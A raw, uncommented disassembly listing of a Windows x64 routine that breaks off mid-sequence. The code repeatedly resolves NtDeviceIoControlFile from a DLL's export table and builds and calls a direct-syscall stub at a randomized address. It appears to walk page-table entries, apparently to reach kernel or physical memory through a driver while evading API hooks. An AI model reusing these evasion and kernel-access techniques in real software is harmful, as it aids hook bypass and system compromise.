mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd34]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd34], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x4b8]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x4b8]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x10e0]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd34]
lea r9, [rbp + 0xd34]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140068bec
test dil, 1
je 0x140068bec
movzx eax, dil
shr al, 7
test al, 1
je 0x1400680fb
movabs rax, 0x3ffffffe00000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x1fffff
add rdi, rax
jmp 0x140068665
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x4f0], 0
xor edx, edx
mov qword [rbp + 0x4f8], 0
xorps xmm0, xmm0
mov qword [rbp + 0x500], 0
movups xmmword [rbp + 0x10f0], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x4e0], 8
mov qword [rbp + 0x4e8], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x1400683bc
cmp word [rax], r14w
jne 0x1400683bc
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x1400683bc
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x1400683bc
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x1400683b6
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140068203
inc rbx
cmp rbx, r14
jb 0x1400681e0
jmp 0x1400683b6
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x1400683b6
mov esi, dword [rcx + 4]
test esi, esi
js 0x1400683b6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x9d44], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x89c0]
call fcn.1400be1b0
lea rcx, [rbp + 0x89c0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x89c0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb6fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140068293
mov r8d, 0x1000
lea rdx, [rbp + 0xb6fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd38]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd38], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x4e0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x10f0]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd38]
lea r9, [rbp + 0xd38]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140068bec
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x4f8]
test rbx, rbx
je 0x140068bec
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140068641
cmp word [rax], r14w
jne 0x140068641
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140068641
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140068641
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140068641
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140068484
inc rdi
cmp rdi, r15
jb 0x140068460
jmp 0x140068641
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140068641
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140068641
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xb0d4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x9d50]
call fcn.1400be1b0
lea rcx, [rbp + 0x9d50]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0x9d50]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xb7fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140068520
mov r8d, 0x1000
lea rdx, [rbp + 0xb7fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd3c]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd3c], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x4e0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x4e0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x10f0]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd3c]
lea r9, [rbp + 0xd3c]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x140068bec
test bl, 1
je 0x140068bec
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and edi, 0xfff
and rbx, rax
add rdi, rbx
test rdi, rdi
je 0x140068bec
mov rax, rdi
mov qword [rbp + 0x518], 0
and eax, 0xfff
mov qword [rbp + 0x520], 0
xorps xmm0, xmm0
mov qword [rbp + 0x528], 0
mov r13d, 0x1000
mov qword [rbp + 0x510], rdi
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0x1100], xmm0
mov qword [rbp + 0x508], r13
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140068935
cmp word [rax], bx
jne 0x140068935
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140068935
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140068935
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140068930
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140068773
inc rbx
cmp rbx, r14
jb 0x140068750
jmp 0x140068930
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140068930
mov esi, dword [rcx + 4]
test esi, esi
js 0x140068930
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xc464], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xb0e0]
call fcn.1400be1b0
lea rcx, [rbp + 0xb0e0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0xb0e0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb8fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140068810
mov r8d, 0x1000
lea rdx, [rbp + 0xb8fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd40]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd40], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x508]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x508]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1100]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd40]
lea r9, [rbp + 0xd40]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x140068be3
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x520]
test rdx, rdx
je 0x140068be3
lea rcx, [rbp + 0xc30]
mov r8, r13
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x140068bb5
cmp word [rax], bx
jne 0x140068bb5
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140068bb5
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140068bb5
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140068bb5
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140068a03
inc rbx
cmp rbx, r14
jb 0x1400689e0
jmp 0x140068bb5
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140068bb5
mov esi, dword [rcx + 4]
test esi, esi
js 0x140068bb5
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xd7f4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xc470]
call fcn.1400be1b0
lea rcx, [rbp + 0xc470]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0xc470]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xb9fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140068a93
mov r8d, 0x1000
lea rdx, [rbp + 0xb9fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd44]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd44], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x508]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x508]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1100]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd44]
lea r9, [rbp + 0xd44]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140068be3
mov rbx, qword [rbp + 0xc40]
mov rax, qword [rsp + 0x78]
sub rbx, r13
mov rsi, qword [rbp + 0xc38]
add rax, r13
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rax
test rbx, rbx
jne 0x1400670d0
mov rcx, qword [rbp + 0xc30]
jmp 0x140068bee
xor ecx, ecx
xor eax, eax
mov qword [rbp + 0xc30], rcx
mov qword [rsp + 0x78], rax
mov qword [rbp + 0xc38], 0
mov qword [rbp + 0xc40], 8
nop dword [rax]
nop word [rax + rax]
mov r13d, dword [0x140322b68]
add rax, rcx
mov rcx, qword [rsp + 0x68]
xor edx, edx
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
shr rax, 0x27
and eax, 0x1ff
mov qword [rbp + 0x568], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x570], 0
mov qword [rbp + 0x578], 0
movups xmmword [rbp + 0x1110], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x558], 8
mov qword [rbp + 0x560], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140068edc
cmp word [rax], r14w
jne 0x140068edc
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140068edc
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140068edc
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140068ed6
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140068d23
inc rbx
cmp rbx, r14
jb 0x140068d00
jmp 0x140068ed6
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140068ed6
mov esi, dword [rcx + 4]
test esi, esi
js 0x140068ed6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x1fd64], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x1e9e0]
call fcn.1400be1b0
lea rcx, [rbp + 0x1e9e0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x1e9e0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xbafe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140068db3
mov r8d, 0x1000
lea rdx, [rbp + 0xbafe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd48]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd48], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x558]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x558]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1110]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd48]
lea r9, [rbp + 0xd48]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x570]
test rbx, rbx
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140069167
cmp word [rax], r14w
jne 0x140069167
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140069167
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140069167
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140069167
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140068fa4
inc rdi
cmp rdi, r15
jb 0x140068f80
jmp 0x140069167
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140069167
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140069167
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xeb84], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xd800]
call fcn.1400be1b0
lea rcx, [rbp + 0xd800]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor edi, edi
nop word [rax + rax]
lea rcx, [rbp + 0xd800]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xbbfe0], rax
inc rdi
cmp rdi, 0x200
jl 0x140069040
mov r8d, 0x1000
lea rdx, [rbp + 0xbbfe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd4c]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd4c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x558]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x558]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1110]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd4c]
lea r9, [rbp + 0xd4c]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x14006c29c
test bl, 1
je 0x14006c29c
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rbx, rcx
shr rax, 0x1e
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x130], 0
xor edx, edx
mov qword [rbp + 0x138], 0
xorps xmm0, xmm0
mov qword [rbp + 0x140], 0
movups xmmword [rbp + 0x1120], xmm0
lea rax, [rbx + rax*8]
mov qword [rbp + 0x120], 8
mov qword [rbp + 0x128], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006942b
cmp word [rax], bx
jne 0x14006942b
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006942b
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006942b
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140069426
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140069273
inc rbx
cmp rbx, r14
jb 0x140069250
jmp 0x140069426
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140069426
mov esi, dword [rcx + 4]
test esi, esi
js 0x140069426
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0xff14], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xeb90]
call fcn.1400be1b0
lea rcx, [rbp + 0xeb90]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0xeb90]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xbcfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140069303
mov r8d, 0x1000
lea rdx, [rbp + 0xbcfe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd50]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd50], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x120]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x120]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1120]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd50]
lea r9, [rbp + 0xd50]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x138]
test rdi, rdi
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400696a7
cmp word [rax], bx
jne 0x1400696a7
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
